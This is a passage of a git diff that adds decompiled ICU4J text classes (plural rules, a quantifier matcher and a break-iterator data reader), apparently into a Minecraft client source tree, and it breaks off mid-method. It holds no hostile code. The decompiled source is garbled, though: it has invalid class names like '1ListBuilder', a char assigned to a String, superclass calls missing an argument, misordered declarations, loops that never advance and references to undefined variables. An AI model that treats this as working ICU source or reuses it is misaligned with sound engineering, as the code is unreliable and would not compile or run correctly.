+    return new PluralRules(parseRuleChain(description));
+  }
+  
+
+
+
+
+
+  public static PluralRules createRules(String description)
+  {
+    try
+    {
+      return parseDescription(description);
+    } catch (ParseException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  private static abstract interface Constraint
+    extends Serializable
+  {
+    public abstract boolean isFulfilled(double paramDouble);
+    
+
+
+
+
+
+
+
+
+    public abstract boolean isLimited();
+    
+
+
+
+
+
+
+
+
+    public abstract int updateRepeatLimit(int paramInt);
+  }
+  
+
+
+
+
+
+
+
+
+  private static abstract interface Rule
+    extends Serializable
+  {
+    public abstract String getKeyword();
+    
+
+
+
+
+
+
+
+
+    public abstract boolean appliesTo(double paramDouble);
+    
+
+
+
+
+
+
+
+
+    public abstract boolean isLimited();
+    
+
+
+
+
+
+
+
+
+    public abstract int updateRepeatLimit(int paramInt);
+  }
+  
+
+
+
+
+
+
+
+
+  private static Constraint parseConstraint(String description)
+    throws ParseException
+  {
+    description = description.trim().toLowerCase(Locale.ENGLISH);
+    
+    Constraint result = null;
+    String[] or_together = Utility.splitString(description, "or");
+    for (int i = 0; i < or_together.length; i++) {
+      Constraint andConstraint = null;
+      String[] and_together = Utility.splitString(or_together[i], "and");
+      for (int j = 0; j < and_together.length; j++) {
+        Constraint newConstraint = NO_CONSTRAINT;
+        
+        String condition = and_together[j].trim();
+        String[] tokens = Utility.splitWhitespace(condition);
+        
+        int mod = 0;
+        boolean inRange = true;
+        boolean integersOnly = true;
+        long lowBound = Long.MAX_VALUE;
+        long highBound = Long.MIN_VALUE;
+        long[] vals = null;
+        
+        boolean isRange = false;
+        
+        int x = 0;
+        String t = tokens[(x++)];
+        if (!"n".equals(t)) {
+          throw unexpected(t, condition);
+        }
+        if (x < tokens.length) {
+          t = tokens[(x++)];
+          if ("mod".equals(t)) {
+            mod = Integer.parseInt(tokens[(x++)]);
+            t = nextToken(tokens, x++, condition);
+          }
+          if ("is".equals(t)) {
+            t = nextToken(tokens, x++, condition);
+            if ("not".equals(t)) {
+              inRange = false;
+              t = nextToken(tokens, x++, condition);
+            }
+          } else {
+            isRange = true;
+            if ("not".equals(t)) {
+              inRange = false;
+              t = nextToken(tokens, x++, condition);
+            }
+            if ("in".equals(t)) {
+              t = nextToken(tokens, x++, condition);
+            } else if ("within".equals(t)) {
+              integersOnly = false;
+              t = nextToken(tokens, x++, condition);
+            } else {
+              throw unexpected(t, condition);
+            }
+          }
+          
+          if (isRange) {
+            String[] range_list = Utility.splitString(t, ",");
+            vals = new long[range_list.length * 2];
+            int k1 = 0; for (int k2 = 0; k1 < range_list.length; k2 += 2) {
+              String range = range_list[k1];
+              String[] pair = Utility.splitString(range, "..");
+              
+              if (pair.length == 2) {
+                long low = Long.parseLong(pair[0]);
+                long high = Long.parseLong(pair[1]);
+                if (low > high)
+                  throw unexpected(range, condition);
+              } else { long low;
+                if (pair.length == 1) { long high;
+                  low = high = Long.parseLong(pair[0]);
+                } else {
+                  throw unexpected(range, condition); } }
+              long high;
+              long low; vals[k2] = low;
+              vals[(k2 + 1)] = high;
+              lowBound = Math.min(lowBound, low);
+              highBound = Math.max(highBound, high);k1++;
+            }
+            
+
+
+            if (vals.length == 2) {
+              vals = null;
+            }
+          } else {
+            lowBound = highBound = Long.parseLong(t);
+          }
+          
+          if (x != tokens.length) {
+            throw unexpected(tokens[x], condition);
+          }
+          
+          newConstraint = new RangeConstraint(mod, inRange, integersOnly, lowBound, highBound, vals);
+        }
+        
+
+        if (andConstraint == null) {
+          andConstraint = newConstraint;
+        } else {
+          andConstraint = new AndConstraint(andConstraint, newConstraint);
+        }
+      }
+      
+
+      if (result == null) {
+        result = andConstraint;
+      } else {
+        result = new OrConstraint(result, andConstraint);
+      }
+    }
+    
+    return result;
+  }
+  
+  private static ParseException unexpected(String token, String context)
+  {
+    return new ParseException("unexpected token '" + token + "' in '" + context + "'", -1);
+  }
+  
+
+
+
+  private static String nextToken(String[] tokens, int x, String context)
+    throws ParseException
+  {
+    if (x < tokens.length) {
+      return tokens[x];
+    }
+    throw new ParseException("missing token at end of '" + context + "'", -1);
+  }
+  
+
+
+
+  private static Rule parseRule(String description)
+    throws ParseException
+  {
+    int x = description.indexOf(':');
+    if (x == -1) {
+      throw new ParseException("missing ':' in rule description '" + description + "'", 0);
+    }
+    
+
+    String keyword = description.substring(0, x).trim();
+    if (!isValidKeyword(keyword)) {
+      throw new ParseException("keyword '" + keyword + " is not valid", 0);
+    }
+    
+
+    description = description.substring(x + 1).trim();
+    if (description.length() == 0) {
+      throw new ParseException("missing constraint in '" + description + "'", x + 1);
+    }
+    
+    Constraint constraint = parseConstraint(description);
+    Rule rule = new ConstrainedRule(keyword, constraint);
+    return rule;
+  }
+  
+
+
+
+
+
+  private static RuleChain parseRuleChain(String description)
+    throws ParseException
+  {
+    RuleChain rc = null;
+    String[] rules = Utility.split(description, ';');
+    for (int i = 0; i < rules.length; i++) {
+      Rule r = parseRule(rules[i].trim());
+      if (rc == null) {
+        rc = new RuleChain(r);
+      } else {
+        rc = rc.addRule(r);
+      }
+    }
+    return rc;
+  }
+  
+  private static abstract interface RuleList
+    extends Serializable
+  {
+    public abstract String select(double paramDouble);
+    
+    public abstract Set<String> getKeywords();
+    
+    public abstract int getRepeatLimit();
+    
+    public abstract boolean isLimited(String paramString);
+  }
+  
+  private static class RangeConstraint
+    implements PluralRules.Constraint, Serializable
+  {
+    RangeConstraint(int mod, boolean inRange, boolean integersOnly, long lowerBound, long upperBound, long[] range_list)
+    {
+      this.mod = mod;
+      this.inRange = inRange;
+      this.integersOnly = integersOnly;
+      this.lowerBound = lowerBound;
+      this.upperBound = upperBound;
+      this.range_list = range_list;
+    }
+    
+    public boolean isFulfilled(double n) {
+      if ((integersOnly) && (n - n != 0.0D)) {
+        return !inRange;
+      }
+      if (mod != 0) {
+        n %= mod;
+      }
+      boolean test = (n >= lowerBound) && (n <= upperBound);
+      if ((test) && (range_list != null)) {
+        test = false;
+        for (int i = 0; (!test) && (i < range_list.length); i += 2) {
+          test = (n >= range_list[i]) && (n <= range_list[(i + 1)]);
+        }
+      }
+      return inRange == test;
+    }
+    
+    public boolean isLimited() {
+      return (integersOnly) && (inRange) && (mod == 0);
+    }
+    
+    public int updateRepeatLimit(int limit) {
+      int mylimit = mod == 0 ? (int)upperBound : mod;
+      return Math.max(mylimit, limit);
+    }
+    
+
+
+    private static final long serialVersionUID = 1L;
+    
+
+    private int mod;
+    
+
+    private boolean inRange;
+    
+
+    private boolean integersOnly;
+    
+
+    private long lowerBound;
+    
+    private long upperBound;
+    
+    private long[] range_list;
+    
+    public String toString()
+    {
+      Object lb = new Object()
+      {
+        StringBuilder sb = new StringBuilder("[");
+        
+        1ListBuilder add(String s) { return add(s, null); }
+        
+        1ListBuilder add(String s, Object o) {
+          if (sb.length() > 1) {
+            sb.append(", ");
+          }
+          sb.append(s);
+          if (o != null) {
+            sb.append(": ").append(o.toString());
+          }
+          return this;
+        }
+        
+        public String toString() { String s = ']';
+          sb = null;
+          return s;
+        }
+      };
+      
+      if (mod > 1) {
+        lb.add("mod", Integer.valueOf(mod));
+      }
+      if (inRange) {
+        lb.add("in");
+      } else {
+        lb.add("except");
+      }
+      if (integersOnly) {
+        lb.add("ints");
+      }
+      if (lowerBound == upperBound) {
+        lb.add(String.valueOf(lowerBound));
+      } else {
+        lb.add(String.valueOf(lowerBound) + "-" + String.valueOf(upperBound));
+      }
+      if (range_list != null) {
+        lb.add(Arrays.toString(range_list));
+      }
+      return lb.toString();
+    }
+  }
+  
+  private static abstract class BinaryConstraint implements PluralRules.Constraint, Serializable
+  {
+    private static final long serialVersionUID = 1L;
+    protected final PluralRules.Constraint a;
+    protected final PluralRules.Constraint b;
+    private final String conjunction;
+    
+    protected BinaryConstraint(PluralRules.Constraint a, PluralRules.Constraint b, String c)
+    {
+      this.a = a;
+      this.b = b;
+      conjunction = c;
+    }
+    
+    public int updateRepeatLimit(int limit) {
+      return a.updateRepeatLimit(b.updateRepeatLimit(limit));
+    }
+    
+    public String toString() {
+      return a.toString() + conjunction + b.toString();
+    }
+  }
+  
+  private static class AndConstraint extends PluralRules.BinaryConstraint
+  {
+    private static final long serialVersionUID = 7766999779862263523L;
+    
+    AndConstraint(PluralRules.Constraint a, PluralRules.Constraint b) {
+      super(b, " && ");
+    }
+    
+    public boolean isFulfilled(double n) {
+      return (a.isFulfilled(n)) && (b.isFulfilled(n));
+    }
+    
+
+    public boolean isLimited()
+    {
+      return (a.isLimited()) || (b.isLimited());
+    }
+  }
+  
+  private static class OrConstraint extends PluralRules.BinaryConstraint
+  {
+    private static final long serialVersionUID = 1405488568664762222L;
+    
+    OrConstraint(PluralRules.Constraint a, PluralRules.Constraint b) {
+      super(b, " || ");
+    }
+    
+    public boolean isFulfilled(double n) {
+      return (a.isFulfilled(n)) || (b.isFulfilled(n));
+    }
+    
+    public boolean isLimited() {
+      return (a.isLimited()) && (b.isLimited());
+    }
+  }
+  
+
+  private static class ConstrainedRule
+    implements PluralRules.Rule, Serializable
+  {
+    private static final long serialVersionUID = 1L;
+    private final String keyword;
+    private final PluralRules.Constraint constraint;
+    
+    public ConstrainedRule(String keyword, PluralRules.Constraint constraint)
+    {
+      this.keyword = keyword;
+      this.constraint = constraint;
+    }
+    
+    public PluralRules.Rule and(PluralRules.Constraint c)
+    {
+      return new ConstrainedRule(keyword, new PluralRules.AndConstraint(constraint, c));
+    }
+    
+    public PluralRules.Rule or(PluralRules.Constraint c)
+    {
+      return new ConstrainedRule(keyword, new PluralRules.OrConstraint(constraint, c));
+    }
+    
+    public String getKeyword() {
+      return keyword;
+    }
+    
+    public boolean appliesTo(double n) {
+      return constraint.isFulfilled(n);
+    }
+    
+    public int updateRepeatLimit(int limit) {
+      return constraint.updateRepeatLimit(limit);
+    }
+    
+    public boolean isLimited() {
+      return constraint.isLimited();
+    }
+    
+    public String toString() {
+      return keyword + ": " + constraint;
+    }
+  }
+  
+
+  private static class RuleChain
+    implements PluralRules.RuleList, Serializable
+  {
+    private static final long serialVersionUID = 1L;
+    
+    private final PluralRules.Rule rule;
+    private final RuleChain next;
+    
+    public RuleChain(PluralRules.Rule rule)
+    {
+      this(rule, null);
+    }
+    
+    private RuleChain(PluralRules.Rule rule, RuleChain next) {
+      this.rule = rule;
+      this.next = next;
+    }
+    
+    public RuleChain addRule(PluralRules.Rule nextRule) {
+      return new RuleChain(nextRule, this);
+    }
+    
+    private PluralRules.Rule selectRule(double n) {
+      PluralRules.Rule r = null;
+      if (next != null) {
+        r = next.selectRule(n);
+      }
+      if ((r == null) && (rule.appliesTo(n))) {
+        r = rule;
+      }
+      return r;
+    }
+    
+    public String select(double n) {
+      PluralRules.Rule r = selectRule(n);
+      if (r == null) {
+        return "other";
+      }
+      return r.getKeyword();
+    }
+    
+    public Set<String> getKeywords() {
+      Set<String> result = new HashSet();
+      result.add("other");
+      RuleChain rc = this;
+      while (rc != null) {
+        result.add(rule.getKeyword());
+        rc = next;
+      }
+      return result;
+    }
+    
+
+    public boolean isLimited(String keyword)
+    {
+      RuleChain rc = this;
+      boolean result = false;
+      while (rc != null) {
+        if (keyword.equals(rule.getKeyword())) {
+          if (!rule.isLimited()) {
+            return false;
+          }
+          result = true;
+        }
+        rc = next;
+      }
+      return result;
+    }
+    
+    public int getRepeatLimit() {
+      int result = 0;
+      RuleChain rc = this;
+      while (rc != null) {
+        result = rule.updateRepeatLimit(result);
+        rc = next;
+      }
+      return result;
+    }
+    
+    public String toString() {
+      String s = rule.toString();
+      if (next != null) {
+        s = next.toString() + "; " + s;
+      }
+      return s;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static PluralRules forLocale(ULocale locale)
+  {
+    return PluralRulesLoader.loader.forLocale(locale, PluralType.CARDINAL);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static PluralRules forLocale(ULocale locale, PluralType type)
+  {
+    return PluralRulesLoader.loader.forLocale(locale, type);
+  }
+  
+
+
+
+
+
+  private static boolean isValidKeyword(String token)
+  {
+    return PatternProps.isIdentifier(token);
+  }
+  
+
+
+  private PluralRules(RuleList rules)
+  {
+    this.rules = rules;
+    keywords = Collections.unmodifiableSet(rules.getKeywords());
+  }
+  
+
+
+
+
+
+
+
+  public String select(double number)
+  {
+    return rules.select(number);
+  }
+  
+
+
+
+
+
+
+  public Set<String> getKeywords()
+  {
+    return keywords;
+  }
+  
+
+
+
+
+
+
+
+  public double getUniqueKeywordValue(String keyword)
+  {
+    Collection<Double> values = getAllKeywordValues(keyword);
+    if ((values != null) && (values.size() == 1)) {
+      return ((Double)values.iterator().next()).doubleValue();
+    }
+    return -0.00123456777D;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Collection<Double> getAllKeywordValues(String keyword)
+  {
+    if (!keywords.contains(keyword)) {
+      return Collections.emptyList();
+    }
+    Collection<Double> result = (Collection)getKeySamplesMap().get(keyword);
+    
+
+
+
+
+
+
+    if ((result.size() > 2) && (!((Boolean)getKeyLimitedMap().get(keyword)).booleanValue())) {
+      return null;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Collection<Double> getSamples(String keyword)
+  {
+    if (!keywords.contains(keyword)) {
+      return null;
+    }
+    return (Collection)getKeySamplesMap().get(keyword);
+  }
+  
+  private Map<String, Boolean> getKeyLimitedMap() {
+    initKeyMaps();
+    return _keyLimitedMap;
+  }
+  
+  private Map<String, List<Double>> getKeySamplesMap() {
+    initKeyMaps();
+    return _keySamplesMap;
+  }
+  
+  private synchronized void initKeyMaps()
+  {
+    if (_keySamplesMap == null)
+    {
+
+
+
+      int MAX_SAMPLES = 3;
+      
+      Map<String, Boolean> temp = new HashMap();
+      for (String k : keywords) {
+        temp.put(k, Boolean.valueOf(rules.isLimited(k)));
+      }
+      _keyLimitedMap = temp;
+      
+      Map<String, List<Double>> sampleMap = new HashMap();
+      int keywordsRemaining = keywords.size();
+      
+      int limit = Math.max(5, getRepeatLimit() * 3) * 2;
+      for (int i = 0; (keywordsRemaining > 0) && (i < limit); i++) {
+        double val = i / 2.0D;
+        String keyword = select(val);
+        boolean keyIsLimited = ((Boolean)_keyLimitedMap.get(keyword)).booleanValue();
+        
+        List<Double> list = (List)sampleMap.get(keyword);
+        if (list == null) {
+          list = new ArrayList(3);
+          sampleMap.put(keyword, list);
+        } else { if ((!keyIsLimited) && (list.size() == 3))
+            continue;
+        }
+        list.add(Double.valueOf(val));
+        
+        if ((!keyIsLimited) && (list.size() == 3)) {
+          keywordsRemaining--;
+        }
+      }
+      
+      if (keywordsRemaining > 0) {
+        for (String k : keywords) {
+          if (!sampleMap.containsKey(k)) {
+            sampleMap.put(k, Collections.emptyList());
+            keywordsRemaining--; if (keywordsRemaining == 0) {
+              break;
+            }
+          }
+        }
+      }
+      
+
+      for (Map.Entry<String, List<Double>> entry : sampleMap.entrySet()) {
+        sampleMap.put(entry.getKey(), Collections.unmodifiableList((List)entry.getValue()));
+      }
+      _keySamplesMap = sampleMap;
+    }
+  }
+  
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    return PluralRulesLoader.loader.getAvailableULocales();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale getFunctionalEquivalent(ULocale locale, boolean[] isAvailable)
+  {
+    return PluralRulesLoader.loader.getFunctionalEquivalent(locale, isAvailable);
+  }
+  
+
+
+
+  public String toString()
+  {
+    return "keywords: " + keywords + " limit: " + getRepeatLimit() + " rules: " + rules.toString();
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    if (hashCode == 0)
+    {
+      int newHashCode = keywords.hashCode();
+      for (int i = 0; i < 12; i++) {
+        newHashCode = newHashCode * 31 + select(i).hashCode();
+      }
+      if (newHashCode == 0) {
+        newHashCode = 1;
+      }
+      hashCode = newHashCode;
+    }
+    return hashCode;
+  }
+  
+
+
+
+  public boolean equals(Object rhs)
+  {
+    return ((rhs instanceof PluralRules)) && (equals((PluralRules)rhs));
+  }
+  
+
+
+
+
+
+  public boolean equals(PluralRules rhs)
+  {
+    if (rhs == null) {
+      return false;
+    }
+    if (rhs == this) {
+      return true;
+    }
+    
+    if (hashCode() != rhs.hashCode()) {
+      return false;
+    }
+    
+    if (!rhs.getKeywords().equals(keywords)) {
+      return false;
+    }
+    
+    int limit = Math.max(getRepeatLimit(), rhs.getRepeatLimit());
+    for (int i = 0; i < limit * 2; i++) {
+      if (!select(i).equals(rhs.select(i))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  private int getRepeatLimit() {
+    if (repeatLimit == 0) {
+      repeatLimit = (rules.getRepeatLimit() + 1);
+    }
+    return repeatLimit;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static enum KeywordStatus
+  {
+    INVALID, 
+    
+
+
+
+
+
+    SUPPRESSED, 
+    
+
+
+
+
+
+    UNIQUE, 
+    
+
+
+
+
+
+    BOUNDED, 
+    
+
+
+
+
+
+    UNBOUNDED;
+    
+
+
+
+
+
+
+
+
+    private KeywordStatus() {}
+  }
+  
+
+
+
+
+
+
+
+  public KeywordStatus getKeywordStatus(String keyword, int offset, Set<Double> explicits, Output<Double> uniqueValue)
+  {
+    if (uniqueValue != null) {
+      value = null;
+    }
+    
+    if (!rules.getKeywords().contains(keyword)) {
+      return KeywordStatus.INVALID;
+    }
+    Collection<Double> values = getAllKeywordValues(keyword);
+    if (values == null) {
+      return KeywordStatus.UNBOUNDED;
+    }
+    int originalSize = values.size();
+    
+    if (explicits == null) {
+      explicits = Collections.emptySet();
+    }
+    
+
+
+    if (originalSize > explicits.size()) {
+      if (originalSize == 1) {
+        if (uniqueValue != null) {
+          value = values.iterator().next();
+        }
+        return KeywordStatus.UNIQUE;
+      }
+      return KeywordStatus.BOUNDED;
+    }
+    
+
+
+    HashSet<Double> subtractedSet = new HashSet(values);
+    for (Double explicit : explicits) {
+      subtractedSet.remove(Double.valueOf(explicit.doubleValue() - offset));
+    }
+    if (subtractedSet.size() == 0) {
+      return KeywordStatus.SUPPRESSED;
+    }
+    
+    if ((uniqueValue != null) && (subtractedSet.size() == 1)) {
+      value = subtractedSet.iterator().next();
+    }
+    
+    return originalSize == 1 ? KeywordStatus.UNIQUE : KeywordStatus.BOUNDED;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/Quantifier.java b/src/minecraft/com/ibm/icu/text/Quantifier.java
new file mode 100644
index 0000000..66364bc
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/Quantifier.java
@@ -0,0 +1,113 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Utility;
+
+
+
+
+
+
+
+
+
+
+
+class Quantifier
+  implements UnicodeMatcher
+{
+  private UnicodeMatcher matcher;
+  private int minCount;
+  private int maxCount;
+  public static final int MAX = Integer.MAX_VALUE;
+  
+  public Quantifier(UnicodeMatcher theMatcher, int theMinCount, int theMaxCount)
+  {
+    if ((theMatcher == null) || (theMinCount < 0) || (theMaxCount < 0) || (theMinCount > theMaxCount)) {
+      throw new IllegalArgumentException();
+    }
+    matcher = theMatcher;
+    minCount = theMinCount;
+    maxCount = theMaxCount;
+  }
+  
+
+
+
+
+
+  public int matches(Replaceable text, int[] offset, int limit, boolean incremental)
+  {
+    int start = offset[0];
+    int count = 0;
+    while (count < maxCount) {
+      int pos = offset[0];
+      int m = matcher.matches(text, offset, limit, incremental);
+      if (m == 2) {
+        count++;
+        if (pos == offset[0]) {
+          break;
+        }
+      }
+      else {
+        if ((!incremental) || (m != 1)) break;
+        return 1;
+      }
+    }
+    
+
+    if ((incremental) && (offset[0] == limit)) {
+      return 1;
+    }
+    if (count >= minCount) {
+      return 2;
+    }
+    offset[0] = start;
+    return 0;
+  }
+  
+
+
+  public String toPattern(boolean escapeUnprintable)
+  {
+    StringBuilder result = new StringBuilder();
+    result.append(matcher.toPattern(escapeUnprintable));
+    if (minCount == 0) {
+      if (maxCount == 1)
+        return '?';
+      if (maxCount == Integer.MAX_VALUE) {
+        return '*';
+      }
+    }
+    else if ((minCount == 1) && (maxCount == Integer.MAX_VALUE)) {
+      return '+';
+    }
+    result.append('{');
+    result.append(Utility.hex(minCount, 1));
+    result.append(',');
+    if (maxCount != Integer.MAX_VALUE) {
+      result.append(Utility.hex(maxCount, 1));
+    }
+    result.append('}');
+    return result.toString();
+  }
+  
+
+
+  public boolean matchesIndexValue(int v)
+  {
+    return (minCount == 0) || (matcher.matchesIndexValue(v));
+  }
+  
+
+
+
+
+
+
+  public void addMatchSetTo(UnicodeSet toUnionTo)
+  {
+    if (maxCount > 0) {
+      matcher.addMatchSetTo(toUnionTo);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBIDataWrapper.java b/src/minecraft/com/ibm/icu/text/RBBIDataWrapper.java
new file mode 100644
index 0000000..c6a497f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBIDataWrapper.java
@@ -0,0 +1,490 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CharTrie;
+import com.ibm.icu.impl.Trie.DataManipulate;
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class RBBIDataWrapper
+{
+  RBBIDataHeader fHeader;
+  short[] fFTable;
+  short[] fRTable;
+  short[] fSFTable;
+  short[] fSRTable;
+  CharTrie fTrie;
+  String fRuleSource;
+  int[] fStatusTable;
+  static final int DH_SIZE = 24;
+  static final int DH_MAGIC = 0;
+  static final int DH_FORMATVERSION = 1;
+  static final int DH_LENGTH = 2;
+  static final int DH_CATCOUNT = 3;
+  static final int DH_FTABLE = 4;
+  static final int DH_FTABLELEN = 5;
+  static final int DH_RTABLE = 6;
+  static final int DH_RTABLELEN = 7;
+  static final int DH_SFTABLE = 8;
+  static final int DH_SFTABLELEN = 9;
+  static final int DH_SRTABLE = 10;
+  static final int DH_SRTABLELEN = 11;
+  static final int DH_TRIE = 12;
+  static final int DH_TRIELEN = 13;
+  static final int DH_RULESOURCE = 14;
+  static final int DH_RULESOURCELEN = 15;
+  static final int DH_STATUSTABLE = 16;
+  static final int DH_STATUSTABLELEN = 17;
+  static final int ACCEPTING = 0;
+  static final int LOOKAHEAD = 1;
+  static final int TAGIDX = 2;
+  static final int RESERVED = 3;
+  static final int NEXTSTATES = 4;
+  static final int NUMSTATES = 0;
+  static final int ROWLEN = 2;
+  static final int FLAGS = 4;
+  static final int RESERVED_2 = 6;
+  static final int ROW_DATA = 8;
+  static final int RBBI_LOOKAHEAD_HARD_BREAK = 1;
+  static final int RBBI_BOF_REQUIRED = 2;
+  
+  static final class RBBIDataHeader
+  {
+    int fMagic;
+    int fVersion;
+    byte[] fFormatVersion;
+    int fLength;
+    int fCatCount;
+    int fFTable;
+    int fFTableLen;
+    int fRTable;
+    int fRTableLen;
+    int fSFTable;
+    int fSFTableLen;
+    int fSRTable;
+    int fSRTableLen;
+    int fTrie;
+    int fTrieLen;
+    int fRuleSource;
+    int fRuleSourceLen;
+    int fStatusTable;
+    int fStatusTableLen;
+    
+    public RBBIDataHeader()
+    {
+      fMagic = 0;
+      fFormatVersion = new byte[4];
+    }
+  }
+  
+
+
+
+
+
+
+
+  int getRowIndex(int state) { return 8 + state * (fHeader.fCatCount + 4); }
+  
+  static class TrieFoldingFunc implements Trie.DataManipulate {
+    TrieFoldingFunc() {}
+    
+    public int getFoldingOffset(int data) { if ((data & 0x8000) != 0) {
+        return data & 0x7FFF;
+      }
+      return 0;
+    }
+  }
+  
+  static TrieFoldingFunc fTrieFoldingFunc = new TrieFoldingFunc();
+  
+
+
+
+  RBBIDataWrapper() {}
+  
+
+
+
+  static RBBIDataWrapper get(InputStream is)
+    throws IOException
+  {
+    DataInputStream dis = new DataInputStream(new BufferedInputStream(is));
+    RBBIDataWrapper This = new RBBIDataWrapper();
+    
+
+
+    dis.skip(128L);
+    
+
+    fHeader = new RBBIDataHeader();
+    fHeader.fMagic = dis.readInt();
+    fHeader.fVersion = dis.readInt();
+    fHeader.fFormatVersion[0] = ((byte)(fHeader.fVersion >> 24));
+    fHeader.fFormatVersion[1] = ((byte)(fHeader.fVersion >> 16));
+    fHeader.fFormatVersion[2] = ((byte)(fHeader.fVersion >> 8));
+    fHeader.fFormatVersion[3] = ((byte)fHeader.fVersion);
+    fHeader.fLength = dis.readInt();
+    fHeader.fCatCount = dis.readInt();
+    fHeader.fFTable = dis.readInt();
+    fHeader.fFTableLen = dis.readInt();
+    fHeader.fRTable = dis.readInt();
+    fHeader.fRTableLen = dis.readInt();
+    fHeader.fSFTable = dis.readInt();
+    fHeader.fSFTableLen = dis.readInt();
+    fHeader.fSRTable = dis.readInt();
+    fHeader.fSRTableLen = dis.readInt();
+    fHeader.fTrie = dis.readInt();
+    fHeader.fTrieLen = dis.readInt();
+    fHeader.fRuleSource = dis.readInt();
+    fHeader.fRuleSourceLen = dis.readInt();
+    fHeader.fStatusTable = dis.readInt();
+    fHeader.fStatusTableLen = dis.readInt();
+    dis.skip(24L);
+    
+
+    if ((fHeader.fMagic != 45472) || ((fHeader.fVersion != 1) && (fHeader.fFormatVersion[0] != 3)))
+    {
+
+
+      throw new IOException("Break Iterator Rule Data Magic Number Incorrect, or unsupported data version.");
+    }
+    
+
+    int pos = 96;
+    
+
+
+
+
+
+    if ((fHeader.fFTable < pos) || (fHeader.fFTable > fHeader.fLength)) {
+      throw new IOException("Break iterator Rule data corrupt");
+    }
+    
+
+    dis.skip(fHeader.fFTable - pos);
+    pos = fHeader.fFTable;
+    
+    fFTable = new short[fHeader.fFTableLen / 2];
+    for (int i = 0; i < fFTable.length; i++) {
+      fFTable[i] = dis.readShort();
+      pos += 2;
+    }
+    
+
+
+
+
+
+    dis.skip(fHeader.fRTable - pos);
+    pos = fHeader.fRTable;
+    
+
+    fRTable = new short[fHeader.fRTableLen / 2];
+    for (i = 0; i < fRTable.length; i++) {
+      fRTable[i] = dis.readShort();
+      pos += 2;
+    }
+    
+
+
+
+    if (fHeader.fSFTableLen > 0)
+    {
+      dis.skip(fHeader.fSFTable - pos);
+      pos = fHeader.fSFTable;
+      
+
+      fSFTable = new short[fHeader.fSFTableLen / 2];
+      for (i = 0; i < fSFTable.length; i++) {
+        fSFTable[i] = dis.readShort();
+        pos += 2;
+      }
+    }
+    
+
+
+
+    if (fHeader.fSRTableLen > 0)
+    {
+      dis.skip(fHeader.fSRTable - pos);
+      pos = fHeader.fSRTable;
+      
+
+      fSRTable = new short[fHeader.fSRTableLen / 2];
+      for (i = 0; i < fSRTable.length; i++) {
+        fSRTable[i] = dis.readShort();
+        pos += 2;
+      }
+    }
+    
+
+
+
+
+
+
+
+    dis.skip(fHeader.fTrie - pos);
+    pos = fHeader.fTrie;
+    
+    dis.mark(fHeader.fTrieLen + 100);
+    
+
+
+
+    fTrie = new CharTrie(dis, fTrieFoldingFunc);
+    
+
+
+    dis.reset();
+    
+
+
+
+
+
+
+    if (pos > fHeader.fStatusTable) {
+      throw new IOException("Break iterator Rule data corrupt");
+    }
+    dis.skip(fHeader.fStatusTable - pos);
+    pos = fHeader.fStatusTable;
+    fStatusTable = new int[fHeader.fStatusTableLen / 4];
+    for (i = 0; i < fStatusTable.length; i++) {
+      fStatusTable[i] = dis.readInt();
+      pos += 4;
+    }
+    
+
+
+
+    if (pos > fHeader.fRuleSource) {
+      throw new IOException("Break iterator Rule data corrupt");
+    }
+    dis.skip(fHeader.fRuleSource - pos);
+    pos = fHeader.fRuleSource;
+    StringBuilder sb = new StringBuilder(fHeader.fRuleSourceLen / 2);
+    for (i = 0; i < fHeader.fRuleSourceLen; i += 2) {
+      sb.append(dis.readChar());
+      pos += 2;
+    }
+    fRuleSource = sb.toString();
+    
+    if ((RuleBasedBreakIterator.fDebugEnv != null) && (RuleBasedBreakIterator.fDebugEnv.indexOf("data") >= 0)) {
+      This.dump();
+    }
+    return This;
+  }
+  
+
+
+  static final int getNumStates(short[] table)
+  {
+    int hi = table[0];
+    int lo = table[1];
+    int val = (hi << 16) + (lo & 0xFFFF);
+    return val;
+  }
+  
+
+
+  void dump()
+  {
+    if (fFTable.length == 0)
+    {
+      throw new NullPointerException();
+    }
+    System.out.println("RBBI Data Wrapper dump ...");
+    System.out.println();
+    System.out.println("Forward State Table");
+    dumpTable(fFTable);
+    System.out.println("Reverse State Table");
+    dumpTable(fRTable);
+    System.out.println("Forward Safe Points Table");
+    dumpTable(fSFTable);
+    System.out.println("Reverse Safe Points Table");
+    dumpTable(fSRTable);
+    
+    dumpCharCategories();
+    System.out.println("Source Rules: " + fRuleSource);
+  }
+  
+
+
+
+  public static String intToString(int n, int width)
+  {
+    StringBuilder dest = new StringBuilder(width);
+    dest.append(n);
+    while (dest.length() < width) {
+      dest.insert(0, ' ');
+    }
+    return dest.toString();
+  }
+  
+
+
+  public static String intToHexString(int n, int width)
+  {
+    StringBuilder dest = new StringBuilder(width);
+    dest.append(Integer.toHexString(n));
+    while (dest.length() < width) {
+      dest.insert(0, ' ');
+    }
+    return dest.toString();
+  }
+  
+
+
+  private void dumpTable(short[] table)
+  {
+    if (table == null) {
+      System.out.println("  -- null -- ");
+    }
+    else
+    {
+      StringBuilder header = new StringBuilder(" Row  Acc Look  Tag");
+      for (int n = 0; n < fHeader.fCatCount; n++) {
+        header.append(intToString(n, 5));
+      }
+      System.out.println(header.toString());
+      for (n = 0; n < header.length(); n++) {
+        System.out.print("-");
+      }
+      System.out.println();
